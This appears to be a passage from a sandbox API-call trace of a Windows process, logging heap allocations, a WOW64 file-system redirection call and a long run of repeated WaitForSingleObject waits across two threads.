[0060.525] GetProcessHeap () returned 0x550000 [0060.525] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2610050 [0060.526] GetProcessHeap () returned 0x550000 [0060.526] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x28) returned 0x5709c0 [0060.526] GetProcessHeap () returned 0x550000 [0060.526] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x110102) returned 0x3390020 [0060.527] GetProcessHeap () returned 0x550000 [0060.527] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x50) returned 0x572728 [0060.527] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76e10000 [0060.527] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0060.527] Wow64DisableWow64FsRedirection (in: OldValue=0x2a8f894 | out: OldValue=0x2a8f894*=0x0) returned 1 [0060.527] GetProcessHeap () returned 0x550000 [0060.527] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x572728 | out: hHeap=0x550000) returned 1 [0060.527] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.528] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.528] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.528] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.529] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.529] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.529] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.529] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.530] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.530] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.530] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.530] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.530] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.531] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.531] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.531] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.531] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.532] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.532] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.533] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.533] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.533] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.533] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.534] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.534] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.534] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.534] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.535] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.535] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.535] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.536] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.536] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.536] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.536] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.537] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.537] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.537] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.537] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.538] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.538] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.538] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.538] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.539] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.539] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.539] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.539] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.540] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.540] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.540] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.540] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.541] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.541] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.541] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.541] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.541] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.542] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.542] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.542] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.542] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.543] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.543] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.543] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.543] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.544] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.544] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.544] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.544] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.545] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.545] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.545] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.545] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.546] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.546] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.546] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.546] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.547] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.547] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.548] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.548] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.549] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.549] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.549] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.549] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.550] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.550] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.550] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.550] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.551] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.551] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.551] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.552] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.552] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.552] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.552] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.553] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.553] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.553] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.554] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.554] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.554] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.554] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.555] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.555] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.555] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.555] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.555] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.556] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.556] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.556] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.556] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.557] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.557] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.557] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.557] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.558] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.558] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.558] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.559] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.559] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.559] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.559] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.559] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.560] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.560] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.560] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.561] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.561] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.561] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.561] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.562] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.562] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.562] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.562] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.562] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.563] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.563] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.733] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.734] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.734] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.734] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.737] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.737] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.737] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.737] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.738] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.738] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.738] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.738] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.739] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.739] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.739] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.740] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.740] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.740] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.740] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.741] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.741] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.741] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.741] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.742] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.742] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.742] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.742] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.743] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.743] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.743] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.743] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.744] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.744] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.744] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.744] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.745] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.745] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.745] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.746] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.746] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.746] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.746] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.747] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.747] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.747] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.748] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.748] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.748] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.748] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.749] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.749] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.749] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.749] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.750] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.750] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.750] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.750] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.751] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.751] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.751] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.751] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.752] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.752] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.752] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.753] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.753] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.753] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.753] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.754] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.754] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.754] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.754] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.755] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.755] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.755] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.755] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.756] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.756] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.756] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.756] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.757] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.757] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.758] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.758] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.758] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.758] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.759] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.759] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.759] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.759] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.760] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.760] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.760] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.760] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.761] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.761] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.761] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.762] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.762] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.762] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.762] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.763] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.763] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.763] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.763] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.764] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.764] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.764] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.764] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.765] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.765] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.765] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.765] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 23 os_tid = 0x5e4 [0060.564] GetProcessHeap () returned 0x550000 [0060.564] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2620058 [0060.565] GetProcessHeap () returned 0x550000 [0060.565] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2630060 [0060.566] GetProcessHeap () returned 0x550000 [0060.566] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x28) returned 0x572728 [0060.566] GetProcessHeap () returned 0x550000 [0060.566] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x110102) returned 0x34b0020 [0060.567] GetProcessHeap () returned 0x550000 [0060.567] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x50) returned 0x572758 [0060.567] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76e10000 [0060.567] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0060.568] Wow64DisableWow64FsRedirection (in: OldValue=0x314fbf4 | out: OldValue=0x314fbf4*=0x0) returned 1 [0060.568] GetProcessHeap () returned 0x550000 [0060.568] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x572758 | out: hHeap=0x550000) returned 1 [0060.568] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.568] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.568] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.569] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.569] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.569] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.569] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.570] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.570] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.570] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.571] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.571] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.571] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.571] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.572] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.572] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.572] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.573] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.573] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.573] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.573] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.573] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.574] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.574] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.574] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.574] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.575] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.575] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.575] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.576] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.576] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.576] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0xffffffff) returned 0x0 [0060.576] WaitForSingleObject 